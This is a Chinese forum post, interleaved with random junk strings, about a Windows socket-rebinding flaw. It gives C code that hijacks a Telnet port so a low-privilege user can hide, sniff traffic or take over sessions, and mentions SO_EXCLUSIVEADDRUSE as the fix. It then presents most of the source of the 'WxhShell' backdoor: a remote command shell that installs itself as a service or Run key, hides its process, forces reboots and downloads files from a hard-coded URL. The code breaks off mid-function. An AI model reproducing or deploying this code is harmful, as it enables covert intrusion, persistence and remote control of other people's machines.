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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: MDRSI g  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); o_cj-  
3E#acnqn*  
  saddr.sin_family = AF_INET; rl4-nA  
_z_uz \#,  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); !cfn%+0  
B|8(}Ciqx  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ! !9V0[  
R +k\)_F  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ^'}Td~(  
h' 16"j>  
  这意味着什么?意味着可以进行如下的攻击: >y1/*)O9~  
wFh{\  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ZEB1()GB  
IgVxWh#  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) PffRV7qU0  
 @>BFhH  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ^T^fowt=r  
M$w^g8F27H  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  I)6)~[:'  
%f@]-  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 C@K@TfK!M  
b747eR 7E  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 lGxG$0`;;  
>LjvMj ]  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 419t"1b  
U!('`TYe  
  #include h4V.$e<T&  
  #include c| E  
  #include 6,k}v:  
  #include    !dZHG R  
  DWORD WINAPI ClientThread(LPVOID lpParam);   EPyFM_k  
  int main() MVV<&jho{^  
  { u+hzCCwtR  
  WORD wVersionRequested; T\OLysc  
  DWORD ret; z*:^*,  
  WSADATA wsaData; %hY+%^k.  
  BOOL val; }lhJt|qc  
  SOCKADDR_IN saddr; 8G9V8hS1#B  
  SOCKADDR_IN scaddr; BH=vI<D  
  int err; eI- ~ +.  
  SOCKET s; N j?,'?'O}  
  SOCKET sc; <#:"vnm$j  
  int caddsize; gX);/;9mm+  
  HANDLE mt; U|,VH-#  
  DWORD tid;   ) ><{A  
  wVersionRequested = MAKEWORD( 2, 2 ); )5hS;u&b  
  err = WSAStartup( wVersionRequested, &wsaData ); @}#$<6|  
  if ( err != 0 ) { m|'TPy  
  printf("error!WSAStartup failed!\n"); n *U1 M  
  return -1; S53[K/dZo  
  } y>|7'M*+  
  saddr.sin_family = AF_INET; &}rh+z  
   BVG 3 T  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Ry,jPw5<  
UeE&rA]  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); `6UW?1_Z5  
  saddr.sin_port = htons(23); 9hcZbM]  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) uRJLSt9m  
  {  F`f#gpQ  
  printf("error!socket failed!\n"); R7+k=DI  
  return -1; UAa2oY&  
  } 2uz<n}IV  
  val = TRUE; \ B<(9  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 lepgmQ|oY  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) R(3V ! ph  
  { U1B5gjN  
  printf("error!setsockopt failed!\n"); %T!UEl`v  
  return -1; je.mX/Lpj  
  } JIDE]f  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;  Q9{%  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Z|E( !"zE9  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 f:e~ystm  
!qT.D:!@zF  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) wOINcEdx  
  { haS`V  
  ret=GetLastError(); v]c1|?9p'  
  printf("error!bind failed!\n"); $$`}b^,/  
  return -1; &%rX RP  
  } r'-)@|  
  listen(s,2); LDO@$jg  
  while(1) ?:~ `?  
  { wC;N*0Th  
  caddsize = sizeof(scaddr); u[y>DPPx  
  //接受连接请求 W +C\/  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); +Nyx2(g<m  
  if(sc!=INVALID_SOCKET) PoQ@9 A  
  { WC0@g5;1[  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); v$lP?\P;}X  
  if(mt==NULL) pz~AsF  
  { )N<>L/R  
  printf("Thread Creat Failed!\n"); 8&B{bS  
  break; sJ25<2/  
  } 9w(QM-u  
  } &H<-joZ)Z\  
  CloseHandle(mt); ewD61Y8-  
  } !ZHPR:k|  
  closesocket(s); FX 0^I 0  
  WSACleanup(); pJ1GB  
  return 0; uG~%/7Qt{  
  }   'Q?nU^:F#  
  DWORD WINAPI ClientThread(LPVOID lpParam) W%@6D|^  
  { |v:8^C7  
  SOCKET ss = (SOCKET)lpParam; i e%ZX  
  SOCKET sc; $D1Pk  
  unsigned char buf[4096];  jmz, 1[  
  SOCKADDR_IN saddr; ,@8>=rT  
  long num; =2# C{u.  
  DWORD val; U5%EQc-"P  
  DWORD ret; lhKd<Y"  
  //如果是隐藏端口应用的话,可以在此处加一些判断 PKty'}KF  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   3@_je)s  
  saddr.sin_family = AF_INET;  Jcy  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); UIIR$,XB  
  saddr.sin_port = htons(23); 3L/>=I{5  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) XQ.JzzY$  
  { =&< s*-l[  
  printf("error!socket failed!\n");  Hi|'  
  return -1; x/R|i%u-s  
  } JstX# z  
  val = 100; {eMu"<  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >n{(2bcFs  
  { 9co1+y=i{  
  ret = GetLastError(); k5P&F  
  return -1; T[*=7jnJQ  
  } X2/ `EN\  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) UXnd~DA  
  { z{7&=$  
  ret = GetLastError(); *4dA(N\k"  
  return -1; p (:\)HP)R  
  } 8(\Az5%  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) n(0O'nS^  
  { rX)PN3TD  
  printf("error!socket connect failed!\n"); 25o + ?Y<  
  closesocket(sc); m&EwX ^1-  
  closesocket(ss); s-J>(|  
  return -1; xzbyar<  
  } l!EfvqWX  
  while(1) FU E/uh  
  { OXK?R\ E+  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ubjuuha"  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ~ucOQVmz@  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ?TLMoqmXM{  
  num = recv(ss,buf,4096,0); dyC: Mko=  
  if(num>0) 3 8m5&5)1F  
  send(sc,buf,num,0); Y, )'0O  
  else if(num==0) }[SWt3qV1  
  break; Z;P[)q  
  num = recv(sc,buf,4096,0); /#GX4&z  
  if(num>0) JnlM0jc]`  
  send(ss,buf,num,0); =;9Wh!{  
  else if(num==0) Y7zg  
  break; s0~a5Ti3  
  } 2kp.Ljt@  
  closesocket(ss); kVCS FF*  
  closesocket(sc); "[q/2vC  
  return 0 ; FAzshR  
  } z AacX@  
DyD#4J)E  
MMN2X xS  
========================================================== bW7tJ  
{+0]diD  
下边附上一个代码,,WXhSHELL ICN>8|O`&  
?54=TA|5`F  
========================================================== ) ^'Q@W  
! ;x  
#include "stdafx.h" 4/&Us  
><mZOTn e;  
#include <stdio.h> A|,\}9)4X[  
#include <string.h> ce0TQ  
#include <windows.h> nw+L _b  
#include <winsock2.h> 8$io^n\i  
#include <winsvc.h> |CexP^;!U  
#include <urlmon.h> BuCU_/H  
MMqkNe  
#pragma comment (lib, "Ws2_32.lib") ZT5t~5W  
#pragma comment (lib, "urlmon.lib") V7G?i\>  
eu@-v"=w  
#define MAX_USER   100 // 最大客户端连接数 O5CIK}A  
#define BUF_SOCK   200 // sock buffer d+[yW7%J  
#define KEY_BUFF   255 // 输入 buffer Cg?D<l4  
#'^!@+)  
#define REBOOT     0   // 重启 Oz# $x  
#define SHUTDOWN   1   // 关机 3;zJ\a.+  
 ?}e8g  
#define DEF_PORT   5000 // 监听端口 Og4 X3QG  
DN2K4%cM%'  
#define REG_LEN     16   // 注册表键长度 KJo [!|.  
#define SVC_LEN     80   // NT服务名长度 AU)"L_ i}  
R] tHd=kf  
// 从dll定义API 5)+(McJC  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); E ~<SEA  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  oJ ~ZzW  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); E3<jH  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Kn SXygT  
]tA39JK-i  
// wxhshell配置信息 1mm/Ssw:C  
struct WSCFG { OB)Vk  
  int ws_port;         // 监听端口 S7N3L."  
  char ws_passstr[REG_LEN]; // 口令 Qw!cd-zc  
  int ws_autoins;       // 安装标记, 1=yes 0=no ({zt=}r,  
  char ws_regname[REG_LEN]; // 注册表键名 8xJdK'  
  char ws_svcname[REG_LEN]; // 服务名 MCD]n  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =;-/( C  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `r e]Q0IO  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 LY'_U0y4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no c9/w-u~j  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" uc<XdFcu  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  VT96ph  
Q.7Rv XNw8  
}; Tw/kD)u{  
g dT3,8`#[  
// default Wxhshell configuration Y5&Jgn.l  
struct WSCFG wscfg={DEF_PORT, 1_%jDMYH  
    "xuhuanlingzhe", oUIa/}}w5  
    1, <mjH#aSy  
    "Wxhshell", gQ3Co./  
    "Wxhshell", O@{ JB  
            "WxhShell Service", :0$(umW@I"  
    "Wrsky Windows CmdShell Service", yw^t6E  
    "Please Input Your Password: ", _v{,vLH  
  1, =K I4  
  "http://www.wrsky.com/wxhshell.exe", RXh0hD  
  "Wxhshell.exe" ~ nNsq(4  
    }; _6Wz1.]n  
HK) $ls  
// 消息定义模块 %Rj:r!XB:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; W?mn8Y;{`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; QMea2q|3$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %_;q<@9)  
char *msg_ws_ext="\n\rExit."; izsAn"v  
char *msg_ws_end="\n\rQuit."; M7^PWC  
char *msg_ws_boot="\n\rReboot..."; [X0Wfb}{  
char *msg_ws_poff="\n\rShutdown..."; Ck8`$x&t  
char *msg_ws_down="\n\rSave to "; ^crk8O@Fw  
H$zjN8||"  
char *msg_ws_err="\n\rErr!"; 9a9<I  
char *msg_ws_ok="\n\rOK!"; %Js3Y9AL C  
; 29q  
char ExeFile[MAX_PATH]; !SEHDRp  
int nUser = 0; W-<E p<7{  
HANDLE handles[MAX_USER]; }@=m[Zx#  
int OsIsNt; Un@B D}@\  
4SCb9| /Q  
SERVICE_STATUS       serviceStatus; yS p]+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .",E}3zn  
uNZJNrV%  
// 函数声明 wvvMesX<L  
int Install(void); ';us;xR#  
int Uninstall(void); I~y[8  
int DownloadFile(char *sURL, SOCKET wsh); 3C 84b/A  
int Boot(int flag); ,uqSq  
void HideProc(void); AX}l~ sv  
int GetOsVer(void); zk=5uKcPE  
int Wxhshell(SOCKET wsl); S9d+#6rn  
void TalkWithClient(void *cs); gm~Ka%O|F  
int CmdShell(SOCKET sock); A1e|Y  
int StartFromService(void); (`x6QiG!  
int StartWxhshell(LPSTR lpCmdLine); 6pDb5@QjTy  
ZGK*]o =)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); c) Zid1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &?YbAo_K  
2c@4<kyfP  
// 数据结构和表定义 /f~ V(DK  
SERVICE_TABLE_ENTRY DispatchTable[] = C9`#57Pp  
{ B;9X{"  
{wscfg.ws_svcname, NTServiceMain}, s`GwRH<#  
{NULL, NULL} *2N$l>ql:k  
}; <^6|ZgR  
" NnUu 8x  
// 自我安装 H8.U#%  
int Install(void) P9; =O$s  
{ Lo _5r T"  
  char svExeFile[MAX_PATH]; EpSVHD:*  
  HKEY key; e#JJd=  
  strcpy(svExeFile,ExeFile); /*!K4)$-*2  
,2q LiE>  
// 如果是win9x系统,修改注册表设为自启动 )%Z<9k  
if(!OsIsNt) { o7<pI8\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rU`#3}s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); SjV;& 1Z/  
  RegCloseKey(key); "& 'h\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |_/q0#"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y3 @R>@$  
  RegCloseKey(key); M@EML @~  
  return 0; sYM3&ikyHI  
    } DcaVT]"  
  } Tn,'*D@l  
} XBe!9/'k>  
else { W}#eQ|oCV  
1.U5gW/3L  
// 如果是NT以上系统,安装为系统服务 $Q*h+)g<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); K.4t*-<`[  
if (schSCManager!=0) +pp|Qgr 3  
{ =UYZ){rt9E  
  SC_HANDLE schService = CreateService GhpVi<FL  
  ( lg FA}p@  
  schSCManager, ukb2[mb*u  
  wscfg.ws_svcname,  +LeZjA[  
  wscfg.ws_svcdisp, @N,dA#  
  SERVICE_ALL_ACCESS, XcB!9AIO  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , PB00\&6H  
  SERVICE_AUTO_START, 'bVDmm).  
  SERVICE_ERROR_NORMAL, "4"gHs  
  svExeFile, d?^bCf+<  
  NULL, ]8FSs/4  
  NULL, b!Pz~faXD  
  NULL, C"no>A^  
  NULL, udVEO n$  
  NULL DjUif "v  
  ); oe`t ? (U  
  if (schService!=0) .E}fk,hLB  
  { k44s V.G4L  
  CloseServiceHandle(schService); W m\HZ9PN  
  CloseServiceHandle(schSCManager); unu%\f>^4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $}RBK'cr}  
  strcat(svExeFile,wscfg.ws_svcname); m[7@l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }@%A@A{R  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,paD/  
  RegCloseKey(key); G6wBZ?)k  
  return 0; !j[Oy r|  
    } Bc3(xI'>J  
  } |2w,Np-  
  CloseServiceHandle(schSCManager); ,?g}->ZB  
} 5/4N  Y  
} N9@@n:JT  
~/s(.oji  
return 1; 6cH.s+  
} cnJ(Fv_F$  
&?C% -"|c  
// 自我卸载 s<,[xkMB  
int Uninstall(void) H:byCFN-  
{ tmEF7e`(o  
  HKEY key; &U/7D!^X  
F;$z[z  
if(!OsIsNt) { 7 -yf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pv);LjF  
  RegDeleteValue(key,wscfg.ws_regname); 5%M 'ewu  
  RegCloseKey(key); @9S3u#vP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5Y77g[AX2-  
  RegDeleteValue(key,wscfg.ws_regname); VBV y3fnj  
  RegCloseKey(key); W&>ONo6ki  
  return 0; r5y p jT^  
  } GBnf]A,^ @  
} nv>|,&;  
} j_L1KB*  
else { &`"Q*N2{  
^1y (N>W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1_$y bftS  
if (schSCManager!=0)  _0^f  
{ =_~bSEqyRI  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :uwB)G  
  if (schService!=0) '4 T}$a"i  
  { &Luq}^u  
  if(DeleteService(schService)!=0) { \yDr  
  CloseServiceHandle(schService); Yzo_ZvL  
  CloseServiceHandle(schSCManager); &ru2&Sz  
  return 0; 0 _ 4p>v:  
  } k~ Z9og  
  CloseServiceHandle(schService); -pEt=  
  } S5B12P  
  CloseServiceHandle(schSCManager); i2$7nSQ9  
} x?T.ItW:K  
} n?uVq6c  
L[v-5u)  
return 1; nO-1^HUl  
} $&IF#uDf  
]6JI((  
// 从指定url下载文件 JBzRL"|  
int DownloadFile(char *sURL, SOCKET wsh) [!Uzw 2  
{ vb^/DMhz  
  HRESULT hr; i$`OOV=/e  
char seps[]= "/"; "eKNk  
char *token; ?[<C,w~$`  
char *file; Op''=Ar#sh  
char myURL[MAX_PATH]; =)tU]kp  
char myFILE[MAX_PATH]; Gp*U2LB  
$TU)O^c  
strcpy(myURL,sURL); mx\b6w7  
  token=strtok(myURL,seps); ^\|Hz\"*  
  while(token!=NULL) D9.H<.|36  
  { -<e8\Z`  
    file=token; TNgf96) y  
  token=strtok(NULL,seps); X{2))t%  
  } r(qAe{  
"p,TYjT?R  
GetCurrentDirectory(MAX_PATH,myFILE); xnz(hz6  
strcat(myFILE, "\\"); *WS'C}T  
strcat(myFILE, file); z +NxO !y  
  send(wsh,myFILE,strlen(myFILE),0); oEfy{54  
send(wsh,"...",3,0); @|A w T  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); c;RB!`9"  
  if(hr==S_OK) :.xdG>\n3  
return 0; !a %6nBo  
else s Yp?V\Y"  
return 1; Ekq&.qjYG"  
/eFudMl  
} 2R W^Nqc9  
AH?T}t2  
// 系统电源模块 NR98I7  
int Boot(int flag) a3i;r M2  
{ ~Ey)9phZK  
  HANDLE hToken; VE_%/Fs,  
  TOKEN_PRIVILEGES tkp; "XvM1G&s`  
K8>-%ns  
  if(OsIsNt) { i;+]Y   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); PWErlA:58  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _4!SO5T  
    tkp.PrivilegeCount = 1; {/Mz /|%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }vzZWe  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); v-^7oai  
if(flag==REBOOT) { Gvo|uB#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <|qh5Scp  
  return 0; Iv J ;9d  
} i,k.#Vx[m  
else { L H>oG$a  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =2sj$  
  return 0; ' pnkm0=`  
} ]U9f4ODt  
  } E05RqnqBn0  
  else { iEe<+Eyns  
if(flag==REBOOT) { -wA^ao   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) G5;N#^myJ  
  return 0; Os1o!w:m5  
} xRTr<j0s  
else { QtF'x<cB  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) W_]Su  
  return 0; 52RFB!Z[  
} D4';QCwo  
} WnATgY t  
ZH@BHg|}H  
return 1; h~\bJ*Zp  
} ]g}Tqf/N%  
:#yjg1aej  
// win9x进程隐藏模块 _1<zpHp  
void HideProc(void) K/^70;/!.  
{ d5b \kRr  
4tZnYGvqe  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (YOp  
  if ( hKernel != NULL ) f76bEe/B9  
  { BkZmE,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1m$< %t.>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $ U~3$*R  
    FreeLibrary(hKernel); f;Cu@z{b  
  } c= f _  
SfHs,y6  
return; M@R_t(&=   
} x37pj)i/  
L%3m_'6QP  
// 获取操作系统版本 xt{f+c@P  
int GetOsVer(void) k3:8T#N>!O  
{ T3-8AUCK8?  
  OSVERSIONINFO winfo; ^:c:~F6J  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 'yrU_k,h  
  GetVersionEx(&winfo); jsXj9:X I  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 83^|a5  
  return 1; zAr@vBfC%  
  else !a(#G7zA  
  return 0; wK0= I\WN9  
} dcK7Dd->  
#<^ngoOj  
// 客户端句柄模块 )isJ^ *6y  
int Wxhshell(SOCKET wsl) |l*#pN&L  
{ i/Nd  
  SOCKET wsh; W ix/Az  
  struct sockaddr_in client; &n|S:"B  
  DWORD myID; Y<A593  
j|WuOZm\0  
  while(nUser<MAX_USER) ISp'4H7R+N  
{ G:n,u$2a<  
  int nSize=sizeof(client); /^BaQeH?R  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9PpPAF  
  if(wsh==INVALID_SOCKET) return 1; LTSoo.dE  
!W^b:qjJ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !!WSGZUR  
if(handles[nUser]==0) ^p'iX4M  
  closesocket(wsh); Q%x |  
else _A8x{[$  
  nUser++; w Ud6xR  
  } EQ;,b4k?&g  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >:2Br(S  
d=q&UCC  
  return 0; Wq4>!|  
} (|(#W+l~  
)^G&p[G  
// 关闭 socket s'4S,  
void CloseIt(SOCKET wsh) 4bT21J37  
{ %B;e 7 UJ  
closesocket(wsh); [c{/0*  
nUser--; }s0?RH  
ExitThread(0); -ZmccT"8  
} O{sb{kk  
n+C,v.X  
// 客户端请求句柄 LLa72HW  
void TalkWithClient(void *cs) 3C=|  
{ L_3undy,  
U\_-GS;1  
  SOCKET wsh=(SOCKET)cs; =h`yc$ A(2  
  char pwd[SVC_LEN]; $m.e}`7SF!  
  char cmd[KEY_BUFF]; c<'Pt4LY  
char chr[1]; Z+zx*(X  
int i,j; 0st)/\  
( TQx3DGq  
  while (nUser < MAX_USER) { **zh>Y}6  
(c{<JYEC  
if(wscfg.ws_passstr) { %E!^SF?Y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Anpx%NVo  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~AD%aHR  
  //ZeroMemory(pwd,KEY_BUFF); F?+K~['i  
      i=0; w(sD}YA)  
  while(i<SVC_LEN) { L5E|1T  
Nb))_+/  
  // 设置超时 LI>tN R~  
  fd_set FdRead; ~S\Ee 2e>  
  struct timeval TimeOut; *?k~n9n5U  
  FD_ZERO(&FdRead); uC _&?  
  FD_SET(wsh,&FdRead); mOLP77(o  
  TimeOut.tv_sec=8; Cst:5m0!  
  TimeOut.tv_usec=0; S 1%/ee3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); pa7Iz^i  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ) o)k~6uT  
b*-g@S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \2F$FRWo  
  pwd=chr[0]; 6[-N})  
  if(chr[0]==0xd || chr[0]==0xa) { s^ t1T&  
  pwd=0; ews4qP  
  break; 1gq(s2izy  
  } ^|z  
  i++; 4FmT.P  
    } (6xrs_ea  
1 LgzqRq  
  // 如果是非法用户,关闭 socket ZfzUvN&!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); R:= %gl!  
} h\ZnUn_J  
1:3I G=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <f l-P  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ``~7z;E%@  
-ejH%CT  
while(1) { vgfLI}|5  
=:T pH>f*  
  ZeroMemory(cmd,KEY_BUFF); "?I]h  
{X=gjQ9  
      // 自动支持客户端 telnet标准   T.1*32cX  
  j=0; gFJ. p  
  while(j<KEY_BUFF) { aY^_+&&G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dS7?[[pg9  
  cmd[j]=chr[0]; D ^ mfWJS  
  if(chr[0]==0xa || chr[0]==0xd) { cx]&ae*  
  cmd[j]=0; jQAK ?7':=  
  break; __}j {Buk  
  } I8|7~jRB  
  j++; >680}\S  
    } S7tc  
VEolyPcsg&  
  // 下载文件 gm**9]k^{  
  if(strstr(cmd,"http://")) { K._tCB:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); I}5#!s< {&  
  if(DownloadFile(cmd,wsh)) J#tGQO  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); e8HGST`  
  else *\?t W]8<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eOZ0L1JM!  
  } gNon*\a,-B  
  else { l{:7*U{d  
CJ*8x7-t  
    switch(cmd[0]) { YT)jBS~&  
  /8Sg<  
  // 帮助 fc'NU(70c  
  case '?': { faqOGAb  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); nf,R+oX  
    break; CzP?J36W^  
  } 3` ov?T(H  
  // 安装 nLn3kMl4  
  case 'i': { b' 1%g}  
    if(Install()) oy I8}s:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tw:j}ERq  
    else 2}Ga   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3h:"-{MW.  
    break; 0dv# [  
    } xPFNH`O&  
  // 卸载 OH2Xxr[bQ  
  case 'r': { =(ULfz[:  
    if(Uninstall()) ]8)nIT^EP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5PY,}1`  
    else B}Q.Is5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !Cq2<[K#  
    break; !f 7CN<  
    } -;/;dz;  
  // 显示 wxhshell 所在路径 1#KE4(  
  case 'p': { (vX+ Yw  
    char svExeFile[MAX_PATH]; R`? '|G]P  
    strcpy(svExeFile,"\n\r"); 0 K T.@P  
      strcat(svExeFile,ExeFile); SE%B&8ZD  
        send(wsh,svExeFile,strlen(svExeFile),0); m+y5Q&;f  
    break; inO)Y]|f  
    } Nj8 `<Sl  
  // 重启 gq[|>Rs75  
  case 'b': { ,e6n3]W8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); B d#D*"gx  
    if(Boot(REBOOT)) [,A*nU$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^Ht!~So  
    else { *D&(6$[^  
    closesocket(wsh); W_ w^"'  
    ExitThread(0); T%GdvtmS>  
    } 2g>4fZ  
    break; a[ Pyxx_K  
    } :#CQQ*@  
  // 关机 wc&%icF*cr  
  case 'd': { lX^yd5M&f  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >HvgU_  
    if(Boot(SHUTDOWN)) u9-:/<R#}y  
